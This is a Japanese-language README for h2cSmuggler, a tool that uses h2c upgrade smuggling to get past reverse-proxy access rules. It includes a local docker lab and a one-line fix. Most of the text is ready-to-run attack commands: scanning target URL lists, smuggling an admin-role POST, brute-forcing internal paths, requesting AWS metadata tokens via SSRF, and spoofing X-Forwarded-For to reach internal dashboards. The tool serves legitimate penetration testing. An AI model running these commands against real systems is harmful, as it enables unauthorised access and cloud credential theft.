
HTTP/2平文(h2c)経由のHTTPリクエストスマグリング
h2cSmugglerは、安全でないエッジサーバーのproxy_pass設定を利用して、h2c対応のバックエンドサーバーとのHTTP/2クリアテキスト(h2c)通信を確立し、プロキシルールやアクセス制御をバイパスしてHTTPトラフィックを密輸します。
以下に詳細な記事をご覧ください:
こちら: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
h2cアップグレードヘッダーを転送するプロキシエンドポイントはすべて影響を受ける可能性があります。h2cはクリアテキストチャネルでのみ実行されることが意図されているため、HTTPSサービスでの検出は多くの場合、真陽性となります。
対照的に、HTTPサービスでは偽陽性が発生する可能性があります。例えば、h2c対応プロキシがアップグレードに応答し、h2cバックエンドに転送しない場合があります。
--scan-listオプションを使用して、1つ以上のWebサーバーをテストし、影響を受けるproxy_passエンドポイントを探します。ディレクトリ列挙で見つかったディレクトリのリストを使用することを検討してください。例:
urls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...省略...
エンドポイントのリストとスレッド数を指定してh2cSmugglerを実行します:
./h2csmuggler.py --scan-list urls.txt --threads 5
または、個別のテストは次のように実行できます:
./h2csmuggler.py -x https://www.example.com/api/ --test
トンネリングに使用できる影響を受けるエンドポイントを特定したら、バックエンドサーバー上の内部エンドポイントにアクセスしたりブルートフォースしたりして、カスタム動詞やヘッダーを指定できます。以下のデモでは、h2cスマグリングを使用してプロキシの拒否ルールをバイパスし、内部の/flagエンドポイントにアクセスする方法を示しています。
修正するには、ユーザーが指定したUpgradeまたはConnectionヘッダーの値を転送しないでください。追加のガイダンスについては技術記事を参照してください。
唯一の依存関係はPythonのhyper-h2ライブラリです:
pip3 install h2
テスト環境では、h2cSmugglerを制御された環境で試すことができます。docker-composeは、h2c対応のGolangバックエンドに至る3つのプロキシチェーンをシミュレートします:
TCPポート: 説明
======== ===========
8000: HTTP h2c バックエンド
8001: HAProxy -> h2c バックエンド(安全でないデフォルト設定)
8002: nginx -> h2c バックエンド(安全でないカスタム設定)
8003: Nuster -> HAProxy -> h2c バックエンド(複数プロキシ層を持つ安全でない設定)
[1] 証明書を生成し、docker-composeで環境を起動します:
# 証明書を生成
./configs/generate-certificates.sh
# サービスを起動
docker-compose up
すべてのプロキシは、h2cバックエンドでアクセス可能な/flagエンドポイントへのアクセスを拒否します。ポート8001で動作しているHAProxyサーバーを介して禁止されたエンドポイントにアクセスしてみましょう:
h2cSmugglerを使用して、--test(または-t)でプロキシの安全でない設定を確認できます:
それでは、h2cSmugglerを使用してh2cアップグレードを実行し、HTTP/2トラフィックをプロキシ経由でトンネリングし、バックエンドから/flagエンドポイントを要求して、プロキシのアクセス制御をバイパスしましょう:
何が起こっているかの詳細な説明については、技術記事を参照してください。
h2cSmugglerは、スマグリングされたリクエストを記述するために、なじみのあるcurlのような構文を使用します:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
Detect and exploit insecure forwarding of h2c upgrades.
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
--scan-list SCAN_LIST
list of URLs for scanning
--threads THREADS # of threads (for use with --scan-list)
--upgrade-only drop HTTP2-Settings from outgoing Connection header
-x PROXY, --proxy PROXY
proxy server to try to bypass
-i WORDLIST, --wordlist WORDLIST
list of paths to bruteforce
-X REQUEST, --request REQUEST
smuggled verb
-d DATA, --data DATA smuggled data
-H HEADER, --header HEADER
smuggled headers
-m MAX_TIME, --max-time MAX_TIME
socket timeout in seconds (type: float; default 10)
-t, --test test a single proxy server
-v, --verbose
https://example.com:443/api/、https://example.com:443/payments、https://sub.example.com:443/)をスキャンして、スマグリングに影響を受けやすいproxy_passエンドポイントを特定します(単一サーバーをテストする際はスレッド数に注意):./h2csmuggler.py --scan-list urls.txt --threads 5
または、出力をファイルにリダイレクトします。stderr(2>)にはエラー(例:SSLハンドシェイク/タイムアウトの問題)が含まれ、stdout(1>)には結果が含まれます。
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
https://edgeserver経由で内部エンドポイントにスマグリングされたPOSTリクエストを送信する:./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
dirs.txtはパスのリスト(例:/api/、/admin/)を表します。./h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
HostヘッダーSSRFの悪用(例:AWSメタデータIMDSv2):
トークンの取得:./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
トークンの送信:
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
X-Forwarded-ForヘッダーでIPアドレスを偽装して内部ダッシュボードにアクセスする:./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
Q: サーバーから複数のレスポンスが返ってくるのはなぜですか?
A: 最初のレスポンスは、h2cアップグレードプロトコルに従い、HTTP/1.1で開始された元のアップグレードリクエストに対するデータレスポンスです。それ以降のレスポンスは、スマグリングされたリクエストからのものです。
Q: "101 Switching Protocols"を受け取りましたが、リモートサーバーからデータを受信していません。
A: テスト中にこの動作を観察しました。一部のサーバーはHTTP/2を実際にサポートしていなくても101ステータスで応答することがあります。
Q: h2cトンネルの確立は常に脆弱性ですか?
A: いいえ。TLS終端TCPロードバランサー(例:ELB)が直接h2c対応バックエンドにプロキシしている場合を考えてみてください。h2c接続を確立できても、アクセス制御が適用されていなければ、バイパスする制御もなく、このトンネルを開始することで特権が得られるわけでもありません。
Q: スマグリングされたリクエストURIにスキームが必要なのはなぜですか?何に使われますか?
A: HTTP/2プロトコルでは:scheme擬似ヘッダーが必要です。このユースケースでは、httpとhttpsの違いはおそらく重要ではありません。詳細はHTTP/2 RFC: Section 8.1.2.3を参照してください。
Q: バックエンドサーバーのホスト名には何を使うべきですか?
A: まずはエッジサーバーと同じホスト名から始めるのが最善です。次に、別のホスト名の値を試してみてください。
Twitter: @theBumbleSec
GitHub: the-bumble